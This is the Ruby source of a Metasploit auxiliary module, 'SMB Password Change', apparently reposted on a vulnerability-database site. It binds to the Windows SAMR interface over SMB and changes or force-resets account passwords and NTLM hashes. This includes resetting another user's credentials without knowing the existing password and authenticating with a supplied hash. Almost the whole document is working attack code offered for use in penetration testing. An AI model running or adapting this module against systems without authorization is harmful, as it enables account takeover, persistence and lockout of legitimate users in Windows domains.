##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'ruby_smb/dcerpc/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Report
include Msf::OptionalSession::SMB
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SMB Password Change',
'Description' => %q{
Change the password of an account using SMB. This provides several different
APIs, each of which have their respective benefits and drawbacks.
},
'License' => MSF_LICENSE,
'Author' => [
'smashery'
],
'References' => [
['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'],
[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => []
},
'Actions' => [
[ 'RESET', { 'Description' => "Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated." } ],
[ 'RESET_NTLM', { 'Description' => "Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs." } ],
[ 'CHANGE', { 'Description' => 'Change the password, knowing the existing one. New AES kerberos keys will be generated.' } ],
[ 'CHANGE_NTLM', { 'Description' => 'Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.' } ]
],
'DefaultAction' => 'RESET'
)
)
register_options(
[
OptString.new('NEW_PASSWORD', [false, 'The new password to change to', ''], conditions: ['ACTION', 'in', %w[CHANGE RESET]]),
OptString.new('NEW_NTLM', [false, 'The new NTLM hash to change to. Can be either an NT hash or a colon-delimited NTLM hash'], conditions: ['ACTION', 'in', %w[CHANGE_NTLM RESET_NTLM]], regex: /^([0-9a-fA-F]{32}:)?[0-9a-fA-F]{32}$/),
OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET RESET_NTLM]])
]
)
end
def connect_samr
vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')
@samr = @tree.open_file(filename: 'samr', write: true, read: true)
vprint_status('Binding to \\samr...')
@samr.bind(endpoint: RubySMB::Dcerpc::Samr)
vprint_good('Bound to \\samr')
end
def run
case action.name
when 'CHANGE'
run_change
when 'RESET'
run_reset
when 'RESET_NTLM'
run_reset_ntlm
when 'CHANGE_NTLM'
run_change_ntlm
end
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
rescue Rex::ConnectionError => e
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e
fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}")
rescue ::StandardError => e
raise e
ensure
@samr.close_handle(@domain_handle) if @domain_handle
@samr.close_handle(@server_handle) if @server_handle
@samr.close if @samr
@tree.disconnect! if @tree
# Don't disconnect the client if it's coming from the session so it can be reused
unless session
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
disconnect
end
end
def authenticate(anonymous_on_expired: false)
if session
print_status("Using existing session #{session.sid}")
self.simple = session.simple_client
simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too
else
connect
begin
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if (e.source.is_a?(Rex::Proto::Kerberos::Model::Error::KerberosError) && [Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED].include?(e.source.error_code) ||
e.source.is_a?(::WindowsError::ErrorCode) && [::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED, ::WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE].include?(e.source))
if anonymous_on_expired
# Password has expired - we'll need to anonymous connect
print_warning('Password expired - binding anonymously')
opts = {
username: '',
password: '',
domain: '',
auth_protocol: Msf::Exploit::Remote::AuthOption::NTLM
}
disconnect
connect
smb_login(opts: opts)
elsif action.name == 'CHANGE_NTLM'
fail_with(Module::Failure::UnexpectedReply, 'Must change password first. Try using the CHANGE action instead')
else
raise
end
else
raise
end
end
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
end
report_service(
host: simple.address,
port: simple.port,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
)
begin
@tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::Unreachable,
"Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
end
connect_samr
end
def parse_ntlm_from_config
new_ntlm = datastore['NEW_NTLM']
fail_with(Msf::Exploit::Failure::BadConfig, 'Must provide NEW_NTLM value') if new_ntlm.blank?
case new_ntlm.count(':')
when 0
new_nt = new_ntlm
new_lm = nil
when 1
new_lm, new_nt = new_ntlm.split(':')
else
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid value for NEW_NTLM')
end
new_nt = Rex::Text.hex_to_raw(new_nt)
new_lm = Rex::Text.hex_to_raw(new_lm) unless new_lm.nil?
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid NT hash value in NEW_NTLM') unless new_nt.length == 16
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid LM hash value in NEW_NTLM') unless new_lm.nil? || new_nt.length == 16
[new_nt, new_lm]
end
def get_user_handle(domain, username)
vprint_status("Opening handle for #{domain}\\#{username}")
@server_handle = @samr.samr_connect
domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain)
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: domain_sid)
user_rids = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [username])
fail_with(Module::Failure::BadConfig, "Could not find #{domain}\\#{username}") if user_rids.nil?
rid = user_rids[username][:rid]
@samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)
rescue RubySMB::Dcerpc::Error::SamrError => e
fail_with(Msf::Exploit::Failure::BadConfig, e.to_s)
end
def run_change_ntlm
fail_with(Module::Failure::BadConfig, 'Must set NEW_NTLM') if datastore['NEW_NTLM'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank?
new_nt, new_lm = parse_ntlm_from_config
print_status('Changing NTLM')
authenticate(anonymous_on_expired: false)
user_handle = get_user_handle(datastore['SMBDomain'], datastore['SMBUser'])
if Net::NTLM.is_ntlm_hash?(Net::NTLM::EncodeUtil.encode_utf16le(datastore['SMBPass']))
old_lm, old_nt = datastore['SMBPass'].split(':')
old_lm = [old_lm].pack('H*')
old_nt = [old_nt].pack('H*')
@samr.samr_change_password_user(user_handle: user_handle,
new_nt_hash: new_nt,
new_lm_hash: new_lm,
old_nt_hash: old_nt,
old_lm_hash: old_lm)
else
@samr.samr_change_password_user(user_handle: user_handle,
old_password: datastore['SMBPass'],
new_nt_hash: new_nt,
new_lm_hash: new_lm)
end
print_good("Successfully changed password for #{datastore['SMBUser']}")
print_warning('AES Kerberos keys will not be available until user changes their password')
end
def run_reset_ntlm
fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank?
new_nt, = parse_ntlm_from_config
print_status('Resetting NTLM')
authenticate(anonymous_on_expired: false)
user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER'])
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL1_INFORMATION,
member: RubySMB::Dcerpc::Samr::SamprUserInternal1Information.new(
encrypted_nt_owf_password: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.new(buffer: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.encrypt_hash(hash: new_nt, key: simple.client.application_key)),
encrypted_lm_owf_password: nil,
nt_password_present: 1,
lm_password_present: 0,
password_expired: 0
)
)
@samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully reset password for #{datastore['TARGET_USER']}")
print_warning('AES Kerberos keys will not be available until user changes their password')
end
def run_reset
fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank?
fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank?
print_status('Resetting password')
authenticate(anonymous_on_expired: false)
user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER'])
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
i1: {
password_expired: 0,
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
},
user_password: {
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
datastore['NEW_PASSWORD'],
simple.client.application_key
)
}
)
)
@samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully reset password for #{datastore['TARGET_USER']}")
end
def run_change
fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank?
fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank?
print_status('Changing password')
authenticate(anonymous_on_expired: true)
if Net::NTLM.is_ntlm_hash?(Net::NTLM::EncodeUtil.encode_utf16le(datastore['SMBPass']))
old_lm, old_nt = datastore['SMBPass'].split(':')
old_lm = [old_lm].pack('H*')
old_nt = [old_nt].pack('H*')
@samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], new_password: datastore['NEW_PASSWORD'], old_nt_hash: old_nt, old_lm_hash: old_lm)
else
@samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], old_password: datastore['SMBPass'], new_password: datastore['NEW_PASSWORD'])
end
print_good("Successfully changed password for #{datastore['SMBUser']}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation